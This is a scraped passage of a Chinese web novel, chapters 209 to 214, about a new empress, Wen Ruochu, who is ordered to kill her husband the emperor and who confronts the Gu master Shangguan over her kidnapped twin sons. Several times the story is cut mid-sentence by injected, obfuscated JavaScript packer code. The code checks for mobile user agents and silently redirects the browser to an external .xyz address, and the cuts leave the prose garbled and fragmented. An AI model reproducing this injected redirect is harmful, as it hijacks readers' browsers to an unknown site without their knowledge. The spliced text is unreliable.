温若初到的时候,沈雨霁和张氏的尸体血葫芦一样陈在院子里,院门口一大滩血迹,萧蔷抱着沈桓的尸首哭。 温若初听下人说萧蔷跑了,所以才跟了过来。 得到沈桓和沈烁消息的时候,温若初为了让萧蔷安生一些,便让人把沈桓和沈烁被沈雨霁掳走,并且还活着的消息告诉了萧蔷。 可不久之前,小辛又派人告诉她,沈桓和沈烁已经**。 也不知道消息怎么就传到了萧蔷耳朵了,萧蔷打晕了看守的粗使嬷嬷跑了出来。 一路跟到这里,还在河边看见大理寺的人在处理沈烁的尸体。 或许是同为母亲,有些感同身受,看着抱着沈桓尸体哭的萧蔷,温若初心里有些不是滋味。 大理寺的人赶到了,抬走一院子的尸首,只剩下沈桓的。 萧蔷到底是前太子妃,最近又是温若初在照拂,抬或不抬沈桓的尸首,如何处理萧蔷,大理寺的人拿捏不准主意。 转头恭敬询问温若初。 “皇后娘娘,您看……” 沈惊澜的登基大典还没举行,旁人都已经开始称呼沈惊澜为陛下,称呼她为皇后娘娘了。 温若初瞅了一眼哭得伤心的萧蔷。 “都带去大理寺吧。” 又让大理寺的人如实整理卷宗,四皇子沈雨霁及其发妻张氏联手谋害前皇长孙沈桓,皇孙沈烁。 包括沈雨霁最近接触频繁的朝臣,都详细列了一份名单。 沈雨霁谋害前皇长孙沈桓,被萧蔷反杀的消息很快传遍朝堂,众人私下纷纷议论,那些和沈雨霁走得近的朝臣,大多是曾经支持沈星驰的人,沈星驰死后这些人受了沈雨霁煽动,心里长草了一样不安分,一心想扶持沈桓,却没想到被沈雨霁摆了一遭。 捶胸顿足痛骂沈雨霁,悔之晚矣。 沈惊澜拿出早已准备好的花名册,雷霆手段,当天处理了最后一批支持沈星驰的朝臣以及皇室宗亲,以各种罪名被罢官,或调去偏远之地。 时至如今,朝堂算是肃清了。 隔天,登基大典正常举行,皇后的册封礼也在同一日举行。 温若初提前两日搬到了凤仪宫,一大早礼部的人把皇后玺印册宝送了过来。 秋菊和月儿伺候她穿上明黄色绣着凤凰的冕服,发髻高高挽起,戴上后宫无上权利的九尾凤簪。 一身繁冗衣裳和头饰穿戴在身上很重,温若初脊背挺得笔直,对着铜镜照了照,娇俏灵动的眉眼,在这身衣裳的衬托下多了几分成熟与威仪。 依照礼制要去拜谢皇帝,太监催促,时辰到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713929|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温若初在众人簇拥下去宣政殿去见沈惊澜,接受文武百官朝拜,然后就是各种杂七杂八的礼节,一套流程下来,未时已过。 顶着大太阳,听太监宣读完最后一句。 “帝后授命于天,礼成——”登基大典才算是彻底结束。 刚刚处理了沈雨霁**,还有些后续没处理完,大典结束,沈惊澜送她回了凤仪宫,就去御书房处理政务。 沈惊澜前脚刚走,内侍通传,凌玄礼求见,通传的人说凌玄礼带着大虞女皇圣旨来的。 外臣不得入內宫,温若初是大虞人,凌玄礼是大虞使臣,还沾亲带故,凌玄礼被归结为温若初的娘家人,所以可以出入凤仪宫。 温若初让人请凌玄礼进来。 寒暄见礼过后,温若初直奔主题问凌玄礼。 “外祖姑母给我带了什么旨意?” 凌玄礼瞄了一圈屋子伺候的宫女太监。 温若初会意,递给秋菊一个颜色,秋菊点了一下头,带着宫女和太监出去了。 房间里剩下温若初和凌玄礼两人,温若初眉眼含着温和笑意,看向凌玄礼。 “可以说了。” 凌玄礼眉心微蹙,欲言又止道。 “圣人旨意,命你杀了沈惊澜,取而代之。” 温若初脑子嗡的一声,像是没听懂似的,一脸不可置信地看着凌玄礼。 “圣人什么意思?她不知道沈惊澜是我夫君?我的两个孩子怎么办?圣人怎么能下这样的旨意?” 凌玄礼抿着唇,面露难色,不敢直视温若初痛苦挣扎的视线。 “圣人的意思……让雍国变成大虞的国土。” “让雍国变成大虞国土,大虞可以派兵来打,为什么要让我去对自己的夫君动手?” 温若初眼眶泛红,心脏好像被一只铁爪死死攥住,攥得生疼,令人喘不过气。 她红着眼睛,质问凌玄礼。 “她下赐婚旨意,是不是就是在等着这一天?你三番五次让我回大虞,是不是早知道她的打算?” 凌玄礼不说话,表示默认。 “圣命难违,圣人已调了十万铁骑陈兵两国交界,你还是好好想想如何动手吧,若是需要配合,可以派人去找我。” 第210章 特殊癖好 夜深人静,凤仪宫灯火葳蕤。 伺候的宫女太监都退了出去,外间桌子上摆了几碟冷了的小菜,温若初姿态随意地坐在桌前,仰头灌下酒盅里剩下果酒。 本想让大脑放空,却不断闪现女皇疼爱她的画面,穿插着和沈惊澜在一起的点滴,还有沈轩和沈煜对着她咧嘴笑,走马灯一样,轮番浮现。 不知道喝了多少杯果酒,脑海中画面终于模糊。 温若初捏着酒盅,对着窗外明月高高举起,满意地勾起唇角,酒确实是好东西。 正迷迷糊糊,手里酒盅被夺走,温若初拧了拧眉毛,有些不满,偏头看去。 眨了眨迷离醉眼,雕着盘龙纹图案的金镶玉腰扣包裹着紧实有力的腰身,明黄色龙袍多了几分威严,下颌线紧紧绷着,那张美得人神共愤的脸上带着几分关切。 沈惊澜眉心微蹙,低头看着温若初。 “怎么喝这么多?” 温若初认出面前身份,咧了咧嘴,露出一个不算好看的笑,起身就要给沈惊澜见礼。 “臣妾见过陛下。” 酒喝得有点多,身形不稳,刚站起来身子就软了下来,沈惊澜伸手接住她,整个人瘫倒在沈惊澜怀里。 鼻腔里萦绕着熟悉的气息,意识有些不清,想不起什么事,心里却涌起一股酸涩,眼泪不受控制地流了下来,吧嗒吧嗒滴在金银线织就的龙袍上。 温热的液体透过衣料,落在皮肤上,热意退去,只剩下凉,沈惊澜环住胳膊紧紧抱住她。 低声喃喃,“我不会让你为难。”像是说给温若初,又像是说给自己听。 温若初情绪不佳,没听清沈惊澜说什么,酒劲上涌,体内涌起一股燥热,特别想找点刺激的事,眼底还噙泪,软若无骨的手在沈惊澜腰间游走。 沈惊澜低头看她,她也仰着一张小脸看她,脸颊泛红,眼神迷离,眼尾睫毛上挂着泪珠。 对视的一瞬,如天雷勾地火。 唇齿相触,纠缠在一起…… 沈惊澜前日刚用心头血喂养蛊虫,伤口刚刚结了一层薄薄的血痂,情到深处,血痂隐隐渗出刺目鲜红。 温若初承受讨伐,迷离间看到那抹鲜红,意识清醒了几分。 作为一个合格的妻子,皇后,这个时候应该停下,体贴地关心一下伤势,可此时温若初却有点变态地想让那抹鲜红更艳丽一些,愈发热情地迎合。 她抬手触及他胸前伤口,指尖用力按了下去,听到耳边传来因吃痛溢出的低沉而隐忍的闷哼声,那颗变态的心到底是软了下来。 带着几分歉意,又带着几分挑逗似的,在伤口周围轻轻揉了两圈。 夜风顺着窗户吹了进来,烛火跃动,在墙上映出交叠在一起的剪影…… 隔天温若初睡到日上三竿,沈惊澜不知道什么时候走了。 她身上遍布青紫暧昧痕迹,浑身骨头散了架似的酸疼。 秋菊和月儿伺候她梳洗,对着铜镜,隐约想起昨晚沈惊澜说的话。 “我不会让你为难。” 还说什么大虞十万铁骑不会踏进雍国。 从前沈惊澜手里握着天机阁,知晓天下事,如今沈惊澜做了皇帝,换取情报的本事只会比以前强。 大虞女皇通过凌玄礼给她下达旨意,杀沈惊澜取而代之。 皇宫如今是沈惊澜的地盘,又怎么会不知道。 想起昨晚香艳中混杂着鲜血淋漓的画面…… 她倒吸一口冷气,沈惊澜不会以为是她想杀了他吧。 温若初赶紧让人准备了一些茶水点心,直奔御书房。 等里面的朝臣相继离开,温若初才让太监通传,从宫女手里接过食盒,又让御书房伺候的宫女太监退了出去。 茶水点心摆在桌子上,温若初支支吾吾。 “你的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温若初在御书房陪沈惊澜闲聊一会儿,有朝臣求见,她便退了出去。 雍国积贫积弱也是一个独立的国家,曾经比肩大虞,只是沈惊澜的皇帝老爹平庸了一些,又多有纵容沈星驰胡作非为,硬是把殷实的家底败完了。 依附于另外一个国家,怎么说都不好听。 沈惊澜刚刚登基,纵然有千万理由,也避免不了被后世辱骂丧权辱国。 沈惊澜安慰她说和她没关系,温若初心里不是滋味。 从御书房出来,还特意召见了几个朝臣,确实如沈惊澜所说,大虞女皇陈兵十万铁骑于两国交界,威慑雍国。 雍国的一些守旧老臣极力反对战争,力主求和。 沈惊澜不是一个畏畏缩缩的,也绝对不是受旁人意见影响的人。 沈惊澜顶着骂名,做出雍国归顺大虞的决定,多多少少也有她的原因吧。 归顺大虞还没定下来,事情还有缓和余地。 温若初修书一封,让人送去大虞上京给女皇,希望女皇看在她和两个孩子的面子上能退兵。 明知道女皇性子强势,因为她的一封信就退兵的概率很低,温若初还是写了信。 有些侥幸地想着,万一呢? 万一女皇年岁大了,顾念亲情,想起王首青,想起她是王首青唯一的女儿,女皇真的就退兵了。 是否归顺大虞尚未定论,雍国历代皇帝信奉佛教,每年六月份皇帝都要去法华寺祈求佛祖保佑,福佑雍国子民。 温若初身为皇后也要同去,两个孩子还有一个月就满周岁了,也带上了。 法华寺是国寺,品尝来烧香拜佛的香客众多,今日皇帝替万民祈福,法华寺今日闭寺,方圆三里之内,不会有闲杂人等。 去年老皇帝来法华寺祈福,被柳家人算计,沈惊澜将计就计破了柳家的计谋,中了一刀。 有前车之鉴,温若初的心都是提着的,问了好几遍小辛法华寺附近安保情况,小辛拍着胸脯保证没问题。 温若初跟随沈惊澜在主殿烧香拜佛,听方丈讲经,折腾了小半天。 趁着秃头方丈闭着眼睛和沈惊澜讲经的时候,温若初想出去透口气,便悄悄退了出去。 客堂前两个奶娘和几个宫女围着院子里一颗梨树说说笑笑,见温若初走了过来,恭敬屈膝行礼。 “皇后娘娘。” 温若初瞅了一眼两个奶娘,随口问道。 “轩儿和煜儿呢?” 嬷嬷回话,“回皇后娘娘的话,后山池塘里养着九尾锦鲤,个头足有三尺长,钱嬷嬷带着两位小殿下去后山看锦鲤去了。” 钱嬷嬷是去年温若初诞下双生子时候的稳婆,后来瞧着人踏实稳重,对待沈轩和沈煜很是上心,就留下了。 秋菊和月儿在禅房外伺候,黄兰被沈惊澜派去了别处,冯文守在法华寺门口,她最信任的人没跟着沈轩和沈煜。 出于一个母亲的直觉,沈轩和沈煜有不好的事情发生。 温若初脑子嗡的一声,脸色煞白,急着问。 “钱嬷嬷带轩儿和煜儿走多久了?” 温若初脸色不好,吓得众人纷纷跪地。 “约莫一刻钟。” “马上带人去后山找。” 又让人告知沈惊澜,封山,仔细盘查所有出山的人。 法华寺位于凤凰山上,方圆百里,贸然封山谈何容易,除禁军外,法华寺的和尚也全体出动帮忙找孩子。 沈惊澜顾不上听老和尚念经,亲自带着禁军去后山找孩子。 让温若初留在法华寺,山路崎岖,温若初不会武功,多有不便。 陪同沈惊澜来的还有十几个朝中重臣,以及有些威望的皇室宗亲。 温若初也不坚持,和几个年长的朝臣和宗亲留在山上法华寺里。 温若初闹得阵仗很大,几乎惊动了所有人,几个宗亲不满小声抱怨。 “不过就是两个黄口小儿被嬷嬷带去后山玩耍,至于如此兴师动众?” “凤子龙孙就是金贵,法华寺的高僧都年过六十了,都得出去找孩子去。” 阴阳怪气的小声交谈,有一句没一句地传进温若初的耳朵。 温若初抬手指了指方才说话的几人。 “几位叔伯没事干,方才方丈说后院用来泡茶的山泉水快见底了,就劳烦几位叔伯把后院十几口缸填满水,泉水在山脚下,那边有水桶,就当做是为佛祖做点事。” 上山走的官道,还累得人呼哧带喘,打山泉水要走山路,山路崎岖不平,还要经过一段悬崖,他们几个老胳膊老腿的如何受得住。 几个宗亲咬牙切齿,其中一个花白胡子的人称闲王,是老皇帝的亲叔叔,在沈惊澜这里算是爷爷辈的,算是辈分最大的。 闲王一脸不满地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721910|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着温若初,眼神轻蔑,没把她放在眼里。 “皇后娘娘,我们都这么大岁数了,都是你的长辈,让我们几个去下山挑水,若是磕到碰到了,皇后娘娘的头上可是要落下不孝罪名。” “闲王误会了,年纪大了容易得病,经常活动筋骨对身子有好处,前几日太医为您诊脉不是还说了,让您闭上嘴,多动腿。” 温若初嘴角噙着笑意,这几个老不死真有意思,他们没生她没养她,就沈惊澜从小到大也是野蛮长大,未曾受过几个老家伙一丝恩惠,也干大言不惭说她不孝顺。 到底是如今身份不同了,宫女太监侍卫一院子,有些话不好说得太难听。 温若初扫了一眼几个起刺的宗亲。 “陛下带人去找大皇子和二皇子,左右几位闲着也是闲着,这凤凰山风景宜人,最适合活动筋骨了,说不定佛祖看见几位,为寺里挑泉水,佛祖一高兴,说不定能助几位早登极乐,这可是莫大的佛缘。” 几位宗亲气得眉毛倒竖,义愤填膺小声议论温若初辱骂长辈,德不配位。还有几个声音打算劝说沈惊澜另立皇后的。 温若初听见几个老不死的还在逼逼赖赖,递给小辛一个眼色。 小辛是沈惊澜特意留下来保护温若初的,小辛会意,尽忠职守的侍卫一般,往前迈了一步,腰间短刀出鞘半寸。 “皇后娘娘让你们去提水,你们便去提水,若有不从,抗旨处置。” 几个宗亲吓得连连后退几步,骂骂咧咧去后院拎木桶。 月儿狠狠剜了一眼几个倚老卖老的宗亲背影。 “这些人站着说话不腰疼,若是丢的是他们的亲孙子,肯定比谁都急,陛下把他们弄来当吉祥物,敬了几分,还真把自己当长辈了,就该打他们一顿,就消停了。” 新帝登基,新旧朝代交替,为了避免不必要的麻烦,特意留了几个老的,所以月儿才说几个老家伙是吉祥物。 温若初心急沈轩和沈煜两个孩子,没工夫搭理这几个老不死的,这里又是佛门清净之地,总不好见了血。 后院十几口大缸,往来山路好几里路,那些老家伙从山下往山上提水,灌满十几口大缸,不死也要脱层皮的。 说着话,门外传来一阵脚步声,有人带着喜悦的声音通传。 “娘娘,陛下带着两位小殿下回来了。” 第212章 上官 悬在嗓子眼的心脏落回肚子里,温若初赶紧起身,朝门口看去。 沈惊澜抱着两个孩子回来了。 紧张压抑的氛围瞬间消散,留在寺庙里清楚沈惊澜脾气的几个老臣,着实松了一口气,方才以闲王为首的宗亲,早就看他们不顺眼了,先帝在时,仗着自己的辈分高,眼睛长在头顶,拿鼻孔看人。 人家孩子不见了,倚老卖老在一边说风凉话,人家不收拾你们收拾谁。 几个宗亲被皇后收拾,他们可是解了气,自然不会帮那些人说一句话。 新帝寡言,却是个胸有沟壑杀伐果断的,今日庆幸两位小殿下没事,若是真出了什么意外,这法华寺今日怕是要见血了。 沈惊澜把两个孩子送到温若初怀里,两个孩子张手要抱抱。 嘴里含糊不清喊着。 “娘亲。” 温若初抱了抱两个孩子,方才都快要被吓跑的魂,这会儿是真的回来了,注意到两个孩子脸上泪痕,抬眼问沈惊澜。 “怎么回事?” 沈惊澜脸色不大好,俊脸上闪过一抹愧疚之色。 “两个孩子受了一些惊吓,多陪他们一会儿。” 孩子是钱嬷嬷抱走的,此时却不见钱嬷嬷身影,可能真的被温若初猜着了。 沈惊澜既然把孩子带了回来,钱嬷嬷他自会处理。 温若初没多问,和沈惊澜一起陪两个孩子玩了小半天,连从法华寺回皇宫的路上,都是她和沈惊澜亲自照看,玩累了,一人一个睡在怀里。 回到皇宫,两个孩子不哭不闹了,温若初抽身出来,才知道确实是钱嬷嬷欲带走两个孩子。 沈惊澜说了钱嬷嬷带走沈轩和沈煜经过,那个钱嬷嬷根本就不像平常所表现出来的踏实稳重,反而是个身手了得的高手。 “幸亏你发现及时,找到轩儿和煜儿的时候,钱嬷嬷已经到山脚了。” 温若初了然,有些后怕,沈惊澜提起的时候,她的心跳得扑通扑通的,钱嬷嬷的底细她命人查过,钱嬷嬷就是永和坊一个比较有名气的稳婆,家里有两个儿子,均已娶妻生子。 拐走皇子可是死罪,要受株连的,她此时恨不得将那个钱嬷嬷千刀万剐。 她和钱嬷嬷往日无怨近日无仇,给钱嬷嬷的月例也非常丰厚,足可以在乡下做一个土财主,温若初想不通钱嬷嬷为何铤而走险掳走两个皇子。 “钱嬷嬷为何带走轩儿和煜儿?” “天机阁正在审问。” 温若初点点头,咬了咬牙,面上划过一抹厉色。 正常应该是刑部审问,刑部慢工出细活,那钱嬷嬷身手了得,十八套刑罚下来,至少要三天,还不一定能撬开钱嬷嬷的嘴。 沈惊澜直接把钱嬷嬷塞给天机阁,估计沈惊澜也在怀疑这个钱嬷嬷的身份和动机,送去天机阁直接上野路子,简单粗暴效率又高。 温若初和沈惊澜坐下喝了一盏茶,小辛禀告。 “陛下,娘娘,钱嬷嬷招了,钱嬷嬷欲掳走两位小殿下是受上官指使。另外已得知上官藏身之处,属下不敢轻举妄动,请陛下娘娘定夺。” 两个孩子体内有寒毒,沈惊澜为了救两个孩子,每隔两日都要用自己的心头血饲养蛊虫,不知道遭了多少罪。 那个上官身份不明,却是个巫蛊高手,曾试图用蛊虫操控大虞女皇,险些让他成功了。 温若初还曾告知过凌玄礼,近些日子一直都在找寻上官的下落,始终连上官的影子都没抓到。 没想到上官居然打起了她两个孩子的主意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726384|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>沈惊澜吩咐小辛。 “你和魏玮亲自带人去捉拿上官,留活口。” “得令。” 抓捕上官很顺利,直接送来宣政殿。 温若初和沈惊澜坐在一处,垂眼看去。上官身穿单薄素色衣裳,眉眼清隽秀丽,头发披散在身后,依旧如在大虞见到时那般,一个大男人,这模样好看是好看,怎么看都从骨子里透出一股阴柔之气。 明明是被禁军架着进来的,光着脚,整个人却一点也不显狼狈。 上官睃了一眼温若初,错开视线落在沈惊澜身上,嘴角勾起一抹不以为意的嗤笑,好像许久未见的老熟人一样。 寒妃在世的时候,未曾对沈惊澜提过只言片语有关寒族的事,沈惊澜知晓寒族都是来自天机阁,对寒族知之甚少,更不知面前这个看起来不过二十出头的男子,和她的母妃是一母同胞兄妹。 沈惊澜眸色顿了顿,也在看着上官,似乎也在想上官缘何做出这种表情。 上官认命了似的,唇边勾起淡淡笑意,笑意里一大半都是自嘲的苦涩,一小半是对沈惊澜这个外甥的欣赏。 “你身上流的可是寒族的血,你母妃被沈家父子**致死,你就甘心为沈氏守住江山?” 温若初暗道不好,这个上官擅长蛊惑人心,张嘴就戳沈惊澜的痛楚,肯定没憋好屁,厉声呵止。 “住口!” “陛下承袭先皇旨意,受命于天,是雍国的皇帝,是百姓的皇帝,岂是尔等可以置喙的?” 她眉眼凌厉盯着上官,一字一顿道。 “洛,辰。” 上官全名上官洛辰,洛辰这个名字已经有二十几年没人叫过他了,上官抬眼震惊地看着温若初。 就连沈惊澜略显错愕地侧目看她。 第213章 男妾 温若初也不确定上官就是洛辰,瞧着上官这副惊讶的表情,她心里有了底,她猜对了。 她刚住进凤仪宫的那天,沈轩和沈煜两个小家伙看什么都新奇,东摸摸西碰碰,不小心碰倒了摆在香案上供奉的王首青雕像。 雕像底座里有个暗格机关,落地瞬间机关弹开,里面有一张折叠成长条状的纸。 纸上详细表述王首青死因。 事情要从二十五年前说起,大虞女皇刚继承皇位不久,当时的王首青还是中书省的五品中书舍人,人聪明能干,很有**见解,颇得大虞女皇赏识。 彼时的王首青是永安后附的嫡小姐,也是后来任丞相,王安如老爹,王丞相的妹妹。 王丞相是女皇的亲侄子,王首青是女皇的侄女,王首青也一直认为女皇是她的姑姑。 王首青无论家世人品才学,在上京闺秀中都拔尖。 女皇赐婚王首青和当时的太子凌渊,上京城里无人不夸赞这门亲事佳偶天成,是天造地设的好姻缘。 女皇还是皇妃的的时候和先皇孕育一子,一个不留神,那孩子被先皇的宠妃推河里,那孩子早夭了。从此女皇像是在后宫开了挂一样,斗倒了一众妃嫔,一路成了皇后。 还得了三个儿子,养在当时是皇后的女皇名下。 这三个孩子其中一个是凌肃,另外一个就是凌渊,还有一个凌成。 后来凌渊联合凌成**谋逆,被女皇手起刀落斩首了,只剩下一个凌肃,当然这是后话。 先皇暴毙之后,女皇承袭了皇位,立模样周正的凌渊为太子,并且把王首青赐婚给了凌渊。 当时凌渊在府里偷偷养了一房男妾,鲜少有人知,天下没有不透风的墙,还是被王首青知道了。 圣命难违,王首青还是早早做好的出嫁准备。 就在大婚前几日,王首青偶然从伺候自己的嬷嬷口中得知,她是女皇的亲生女儿。 聪颖如王首青,怎么会不知女皇用意,女皇想让她继续走女皇的路,诞下皇子,或者弄别人的孩子养在身边,然后杀了自己的丈夫,取而代之。 王首青不愿意。 适逢秋闱结束,结识了没什么家世,品行也算端正的新科举人温承德,悔婚太子凌渊另嫁温承德。 女皇虽不满,却也没过多责罚王首青。 本以为事情到此结束,大家相安无事,后来不知怎么的,王首青是女皇私生女的消息传到凌渊耳朵里。 女皇对王首青多有重视,曾说过提拔王首青为左丞相。 凌渊恐太子之位不保,趁着女皇根基不稳和女皇的另一个养子凌成商议,以女皇德行有亏的名义,联合朝臣。逼女皇退位,王首青就是女皇德行有亏的证据。 王首青当时已经诞下温若初,深知为人母的不易,不愿女皇为难。携带**自愿进宫,伪造成被女皇毒杀的样子**了,女皇危机化解。 三年后,朝堂稳固,跟随凌渊一起逼宫的朝臣被女皇料理干净。 因一起贪墨案,轻罪重罚,女皇诛杀了凌渊凌成两个养子及其所有家眷。 这就是王首青死的前因后果,记述下来的人是陪同王首青一起长大的女使,雕刻王首青雕像的夏分的姨母,曾背刺过温若初的王嬷嬷的亲姐姐。 温若初当时看到雕像里的内容,很是震惊,连夜派人回大虞调去卷宗。 当年凌渊被处死,所斩首之人皆在卷宗之上,唯独少了一个男妾。 又几经辗转,找到曾经伺候过凌渊的嬷嬷,得知那男妾生得貌美,会巫蛊之术,名唤洛辰。 凌渊被女皇处死之后,这个洛辰不知所踪,加之这个洛辰一直被凌渊偷偷养在府里,很少有外人知,处理凌渊案件的官员,并未详细核查,一直把这个人漏了。 凌渊已经**二十几年,上官瞧着面相也就二十多岁,温若初不确定上官就是当年凌渊的男妾洛辰。 想到上官煞费苦心接近女皇,意欲**女皇,温若初几次见上官,从上官身上察觉到的仇视和恨意,又都无法解释。 若是上官是凌渊的男妾,记恨女皇杀了凌渊,记恨凌渊因王首青而死,而相貌有七八分像王首青的温若初,自然也在上官的仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726385|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视之列,一切就能说通了。 上官会巫蛊之术,用了什么歪门邪道的法子保持容颜永驻,也说不准。 今日禁军抓了上官过来,温若初直接叫住洛辰的名字,也只是试探一下。 瞧着上官意外震惊的表情,温若初知道这次又被她猜对了。 眼前的上官就是当年凌渊藏在府里的男妾洛辰。 温若初坐在高位,好整以暇地看着上官的情绪变化,笃定道。 “你、就是凌渊养在偷养在身边,后来失踪的男妾,洛辰。” 上官收起眼底震惊情绪,嘴角扬起一抹不以为意的笑意,用来掩饰心底的心虚和恨意。 “娘娘怕是认错了,草民不认识凌渊,更不是什么洛辰。” 沈惊澜拧眉沉思,凌渊他知道,温若初口中的洛辰他听都没听过。此番抓上官前来是为了两个孩子,温若初笃定上官是洛辰,一定有温若初的道理。 沈惊澜坐在一边,静静地听温若初和上官对峙,不插嘴说话。 装傻不承认?温若初扬了扬眉毛,不搭理上官自顾道。 “我不管你是为何指使钱嬷嬷掳走大皇子和二皇子,你是蛊师……” 她直视上官,“……大皇子和二皇子身上中了寒毒,你若是能解了两位皇子身上的寒毒,本宫就留你一具全尸。” “只救两个孩子?” 上官下巴朝沈惊澜扬了扬,“不管他?” 好像看到什么热闹似的,轻嗤一声,眼底闪过一抹怨毒。 “你们的感情也不过如此,还是说……” “……你在效仿大虞女皇,等着我外甥早死,你承袭皇位?” “不对,你比女皇有点良心,女皇是直接**了她的丈夫,取而代之,你是在等着我外甥死,话说回来,你们祖孙两个也差不多,半斤对八两,都不是好东西。” 上官看向沈惊澜,面色真挚,声音蛊惑。 “谨之,我和你母亲一母同胞,我是你母亲的兄长,你的亲舅舅,我是寒族最厉害的蛊师,你把这个女人杀了,舅舅帮你和两个孩子身上的寒毒都解了。” 第214章 脐带血 “闭嘴!” 沈惊澜厉呵一声,动作急如闪电一般,抽出悬挂在墙上的长剑,剑尖抵住上官喉咙。 “朕让你闭嘴,朕没有什么舅舅,你若是再敢提一个字,朕就宰了你。” 从齿缝里溢出的一句话,声音低沉泛着冷意,带着浓重的威胁意味。 温若初一时间脑子不够用,方才上官的话反应半天才明白什么意思,眼睛瞪得大大的,一脸的不可置信,她求证似的看向沈惊澜。 “你身上的寒毒不是已经渡给两个孩子了?他为何说你身上有寒毒?” “我……” 沈惊澜语滞,看向温若初的目光中满是愧疚,张了张嘴似乎要解释什么,又像是没想好,最后什么也没说。 “还真是天真,寒毒只能种进体内,谁家的寒毒还会渡给孩子?” 上官含着讥讽的声音插入两人说话,“我知道你在饲养培育蛊虫,别折腾了,你养的那些东西只会更快送你上西天,这个世上只有我能解寒毒。” 上官能看出来,沈惊澜不在乎寒族,更不在乎他这个舅舅,于是转变策略,他是最厉害的蛊师,仅此可以拿捏住沈惊澜。 实际没有什么能真的拿捏住他,他在阴沟里长大的,在乎的只有两个,一个是报仇,另外一个是保护温若初和两个孩子。 为寒族复国,或者让巫蛊之术发扬光大,和他没关系,沈惊澜也不感兴趣。 寒毒确实不是她渡到孩子身上的,是有人种在两个孩子身上的,他查过,他不通巫蛊之术,查了一阵子一直没查到下寒毒的人。 怕温若初着急,开始搜集有关巫蛊之术的古籍,自己尝试养蛊虫,可惜,几次都失败了。 大虞女皇给温若初下旨,命令温若初杀了他取而代之。 正好他也活不长久,不用温若初动手,他自己会死。 归顺大虞的诏令迟迟未落定,是想等解了两个孩子身上的寒毒,故意拖延时间。 沈惊澜急着解释,“我只是不想让你担心,不是存心骗你的。” 不让她担心是真的,存心骗她也是真的,温若初此时没功夫和沈惊澜找后账,追问上官。 “两个孩子体内的寒毒也是你命钱嬷嬷种的?” 上官跪在地上,双手反拧着绑在身后,错开视线看向别处,显然不愿意回答温若初的这个问题。 “说!” 沈惊澜黑着脸,抵在上官脖子上的剑尖前进半寸,修长白皙的脖颈破了皮肤,有猩红鲜血渗出。 上官无所畏惧似的瞅了一眼沈惊澜手里的剑,闪着寒光,锋利无比,面对沈惊澜和温若初的质问,态度依旧散漫。 “告诉你们也无妨。” “学习巫蛊之术要从娃娃抓起,大皇子二皇子身上流着寒族的血,我没有恶意,不过是想找人承袭我的衣钵罢了,谁知道你们反应这么快。” 上官有些懊悔地叹了一口气,“只能怪钱嬷嬷太没用,两个孩子都带不出来,还连累了我。” “成王败寇,要杀便杀吧,反正我**,还有我的皇帝侄子,两个侄孙子陪伴,黄泉路上并不孤单……啪!” 上官慨然赴死遗言还没说完,温若初朝着上官侧脸,扬起手掌,狠狠甩了一巴掌,上官脸偏向一边,整个身子都歪向一边。 这一巴掌温若初用了力气,结结实实的,堵在胸口的那股气才稍稍顺畅一些,还是有些有些不解气。 可以算计她,明枪暗箭的,大不了以牙还牙还回去,沈轩和沈煜是她的底线,上官把主意打到两个孩子身上,就是不行,比要了她的命还难受。 上官碰了她的底线,要不是上官能解两个孩子和沈惊澜身上的寒毒,现在恨不得活剐了他。 温若初咬牙切齿瞪着上官。 “上京西郊五十里有一座坟,墓碑无子,只落款雕刻**洛辰几个字,坟里是谁,不用我说,你应该很清楚,你若是不解寒毒,明日本宫就命人把那座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 